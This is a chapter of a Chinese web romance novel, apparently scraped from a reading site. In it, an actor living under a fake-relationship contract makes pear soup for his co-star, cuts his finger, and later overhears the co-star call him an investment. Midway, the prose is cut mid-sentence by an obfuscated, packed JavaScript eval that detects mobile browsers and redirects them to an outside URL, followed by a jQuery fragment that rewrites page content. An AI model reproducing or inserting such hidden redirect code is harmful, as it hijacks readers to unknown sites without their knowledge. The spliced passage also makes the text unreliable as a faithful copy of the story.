19. 第十九章

作品:《bb,你是娱乐圈顶流

    指纹锁“滴”地一声轻响,门开了。


    云扬直接瘫在客厅沙发上,也没人告诉他探班这么累,不是体力上的,是精神上的,得一直绷紧,又得回答问题,还要笑,更得是自然。


    他侧过头看向陆砚池,他正换鞋。


    客厅只开着入口感应灯,光线昏暗,陆砚池的背影看起来要比平时单薄些,脱外套的动作很慢。


    随后他轻轻咳了一声。


    手机在这时震动,屏幕亮起,显示着的是林晓的信息:后天双人新剧专访,稿子发你。重点问题已经标红,务必和陆砚池对稿。


    他抬头:“那个,陆老师,林晓姐说后天有个双人专访,让我跟你对下稿子。”


    陆砚池“嗯”了一声,声音很哑,他径直走向厨房倒水。


    云扬跟到厨房门口,看着陆砚池倒水,仰头喝下。吞咽时喉结滚动,脖颈处青筋略微凸起。


    “陆老师,”他轻声说,“你声音……不太对劲。”


    陆砚池放下水杯:“嗓子发炎,这部戏台词多,说太狠了。”


    他走到主卧门口,手握上门把手的时候:“稿子明天再说吧。”


    门开了又关,发出“咔哒”的声响。


    云扬在客厅站了许久,最后,他走回沙发坐下,拿起手机。屏幕自动亮起,停在和林晓的聊天界面。


    他退出去,打开浏览器,在搜索框里输入:嗓子发炎,吃什么好。


    第二天云扬醒来时,陆砚池已经出门了。


    餐桌上放着早餐和打印好的采访稿。陆砚池在稿子上做了标注,云扬一边吃早餐一边看,看到第一个问题的时候,手指在纸页边缘摩挲了几下。


    “在一起后,对方做过最让你感动的事是什么?”


    陆砚池在旁边写:可以说生病时的照顾,具体但适度。


    云扬盯着那行字看了很久。


    他吃完早餐,他转身走到冰箱前,打开冰箱,冷气扑面而来,里面食材充足,阿姨把一切都整理得井井有条。


    云扬翻找了一会儿,指尖冻得发麻,终于找到几个雪梨,用保鲜膜仔细包裹着,表皮还凝着水珠。还有一包冰糖,一小袋枸杞,装在透明的收纳盒里。


    他把东西拿出来放在料理台上,看着它们,愣住了。


    原主是不会做饭的。原文一开头就交代过,云扬娇生惯养,十指不沾阳春水。


    至于他本人,穿越前,生活过得马马虎虎,能煮泡面下速冻饺子就算不错了,炖汤?没经验,跑龙套需要抢角色,哪有什么时间下厨,大多都是一口泡面解决一切。


    但他还是拿出手机,页面还是昨晚查询的那张,冰糖炖雪梨。


    步骤看起来不复杂。他挽起袖子,拿起一个梨,又拿起那把看起来很专业的削皮刀。


    第一刀下去就不对劲,皮削得太厚,连带着削掉了一大块果肉。


    他皱着眉换了个姿势,刀刃在梨上滑动,忽然一滑。


    “嘶……”


    刀刃划过食指侧面,血珠瞬间冒出来。不深,但足够疼。云扬倒吸一口凉气,赶紧打开水龙头冲洗。


    他盯着那道细长的伤口,原主的身体细皮嫩肉,一道小口子都红了一片。


    他摇了摇头,找了创可贴简单包扎,继续处理剩下的梨。这次他小心多了,虽然切出来的梨块大小不一形状怪异,至少没再受伤。


    把梨块放进汤锅,加水,加冰糖,开火。蓝色的火苗从灶台下窜出来,水渐渐热起来,发出细微的声响。


    云扬站在灶台前,盯着锅里逐渐翻滚的水,把食材一一按照步骤放进去。


    汤炖了快一个小时。期间他尝了几次,觉得不够甜,又加了几块冰糖。最后撒枸杞时,他看着锅里咕嘟咕嘟冒泡的浅色汤汁,心里有些忐忑。


    白雾升腾,带着梨水和冰糖的甜香,弥漫了整个厨房。


    万一陆砚池不喜欢呢?


    云扬把锅里的梨汤用小火温着,自己在客厅等,等着等着,竟然在沙发上睡着了。


    陆砚池推开家门时,闻到了一股陌生的甜香。


    他皱了皱眉,换鞋进屋,看见云扬蜷缩在沙发上睡着了。午后的阳光从落地窗斜射进来,他抱着抱枕,闭着眼睛,睡得很沉。


    陆砚池的脚步顿住了。


    他放轻动作走到沙发边。云扬睡着的模样有种平时没有的松弛感,呼吸均匀,脸颊泛着淡淡的红。陆砚池的目光落在他手上,右手食指贴着创可贴,边缘能看见一点暗红的血迹。


    陆砚池的眉头皱紧了。


    他转身走向厨房。灶台上,汤锅还温着,里面是炖好的梨汤。陆砚池打开锅盖,甜香扑面而来。他盯着锅里那些形状不规则的梨块看了很久,然后拿起汤勺舀了一小口。


    太甜了,冰糖放多了,甜得发腻,几乎盖过梨本身的味道。


    但梨炖得很软,入口即化。


    陆砚池放下汤勺,转过身看向客厅。云扬还在睡,手紧紧抓着抱枕。


    “陆老师?”


    云扬醒了,揉着眼睛坐起来,看见陆砚池站在厨房门口,愣了愣:“你回来了?”


    “嗯。”陆砚池走向客厅,目光落在他的手上,“手怎么了?”


    云扬下意识把手藏到身后:“不小心划了一下。”


    声音里带着刚睡醒的鼻音,还有一点点心虚。


    陆砚池走到他面前,伸出手:“我看看。”


    云扬迟疑了一下,还是把手伸出来。陆砚池握住他的手腕,另一只手轻轻撕开创可贴。


    伤口已经止血了,细长的红痕,结了一层薄薄的痂,但云扬皮肤白皙,非常显眼。


    陆砚池的拇指在伤口边缘轻轻抚过,指腹有薄茧,刮过皮肤的时候,带来细微的,酥麻的感觉。


    云扬忍不住缩了一下。


    “疼?”陆砚池抬眼看他。


    “……有点。”


    陆砚池松开手,转身走向书房:“过来。”


    云扬跟在他身后。陆砚池从书桌抽屉里拿出药箱,找出碘伏和新的创可贴。他让云扬在椅子上坐下,自己半跪在他面前,握住他的手开始处理伤口。


    动作熟练,但很轻柔。


    碘伏棉棒碰触到伤口的瞬间,凉意刺入,云扬的手指颤了一下。


    陆砚池的动作停了一瞬,然后更轻。他低着头,额发垂下来,遮住了眼睛。云扬只能看到他高挺的鼻梁,还有微微抿着的唇。陆砚池眼底的乌青色并没有消散,似乎还更重了些。


    “为什么炖汤?”陆砚池忽然问,没抬头。


    “你嗓子不是不舒服吗?”


    “所以?”陆砚池抬眼看他,眼神很深,“合约里有要求你做这些吗?”


    云扬的喉咙发紧:“没有。”


    “那为什么做?”


    为什么?


    云扬张了张嘴,说不出话。


    因为他听到陆砚池沙哑的声音,心里不舒服?因为他看到陆砚池疲惫的样子,觉得……心疼?还是因为那晚陆砚池守着他,现在他想做点什么回报?


    他不知道。他只知道,决定炖汤的时候,他根本没想合约,没想什么该做什么不该做。


    他只是……想这么做。


    “我不知道。”云扬听见自己说,声音很轻,“就是想做。”


    陆砚池盯着他看了很久,但最终他什么也没说,低下头继续处理伤口。


    创可贴贴好,陆砚池松开手站起身。


    “汤太甜了。”他说,声音


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185163|197002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    依然沙哑,“下次少放点糖。”


    云扬愣住:“你喝了?”


    “尝了一口。”陆砚池转身收拾药箱,“剩下的晚上喝。”


    “那个,我去把汤盛出来。”


    他转身要走,陆砚池忽然开口:“云扬。”


    云扬停住脚步,没回头。


    “手伤了就别碰水。”陆砚池说,“晚饭阿姨会做。”


    “……好。”


    云扬走出书房,轻轻带上门。背靠着门板,他深深吸了口气。


    抬起手,看着食指上崭新的创可贴。陆砚池刚才的样子,那么专注,那么温柔。


    ——


    陆砚池在书房里处理事务,直到傍晚也没出来,云扬琢磨着时间,重新把梨汤温好,顺带着盛了一碗。


    走到门口的时候,正要敲门,门内传来陆砚池打电话的声音。


    云扬的手僵在半空。


    “嗯,处理干净就行。”陆砚池的声音透过门板传来,“其他的……先按兵不动。”


    电话那头说了什么。


    陆砚池的声音里带上一丝极淡的笑意:“关心?你觉得我关心他?”


    云扬的心脏“砰砰砰”的跳动,像是要冲出嗓子眼。他屏住呼吸,紧紧的抓着托盘。


    “我们之间只是利益关系。”陆砚池继续说,,“他需要资源,我需要一个恋人。各取所需而已。”


    紧接着,电话那头又说了什么,陆砚池轻笑一声:“上心?我对工作一向上心。他是我的投资项目之一,我当然要保证投资回报率。”


    他端着托盘的手在颤抖,梨汤在碗里晃动。


    书房里,陆砚池挂了电话。


    云扬深吸一口气,抬手敲门。


    “进来。”


    他推门进去。陆砚池正坐在书桌前看文件,抬眼看他:“有事?”


    “梨汤。”云扬把托盘放在桌上,“趁热喝吧,对嗓子好。”


    “谢谢。”


    “不客气。”云扬转身要走。


    “云扬。”陆砚池叫住他。


    云扬停住脚步,没回头。


    “手还疼吗?”


    “……不疼了。”


    “那就好。”陆砚池顿了顿,“多休息,最近的行程安排的太紧张,休息的时间都不够了。”


    云扬走出书房,轻轻带上门,背对着门板,深吸了口气,再缓缓吐出来,眼睛莫名的酸,心里也堵得难受。


    他回到自己的房间,关上门,背靠着门板滑坐在地上,想着刚才的话,


    云扬捂着脸,低低地笑了起来,回想着陆砚池的话。


    想起穿书之前也听到过类似的话,那时他陪着副导演喝酒,对方拍着他的肩膀说:“小云啊,你这个长相,这个气质,值得投资。跟着我,保证你有戏拍。”


    云扬年轻,不懂里面的门路,他拒绝了,然后被整个剧组排挤,最后连龙套角色都没有保住。


    深夜,陆砚池处理完最后一份文件,推开房门。


    他走到厨房,灶上还温着半锅梨汤。盛了一碗,坐在吧台边的高脚凳上慢慢喝。


    汤已经不太热了,温吞吞的,甜腻更加明显,但他还是一勺一勺,慢慢喝完。


    太甜了。甜得发腻。


    但他还是一口一口喝完了。


    放下碗时,他的目光落在吧台角落,那里放着云扬用过的削皮刀,刀锋上还残留着一点淡淡的血迹。


    陆砚池盯着那点血迹看了很久,伸出手,拇指指腹轻轻抹过刀刃。


    这时手机震动,助理发来消息:“砚池,查到了,雇狗仔拍照片的人,是晨光娱乐的副总陈力。”


    他盯着屏幕,良久才打字:“证据收集全。等我指示。”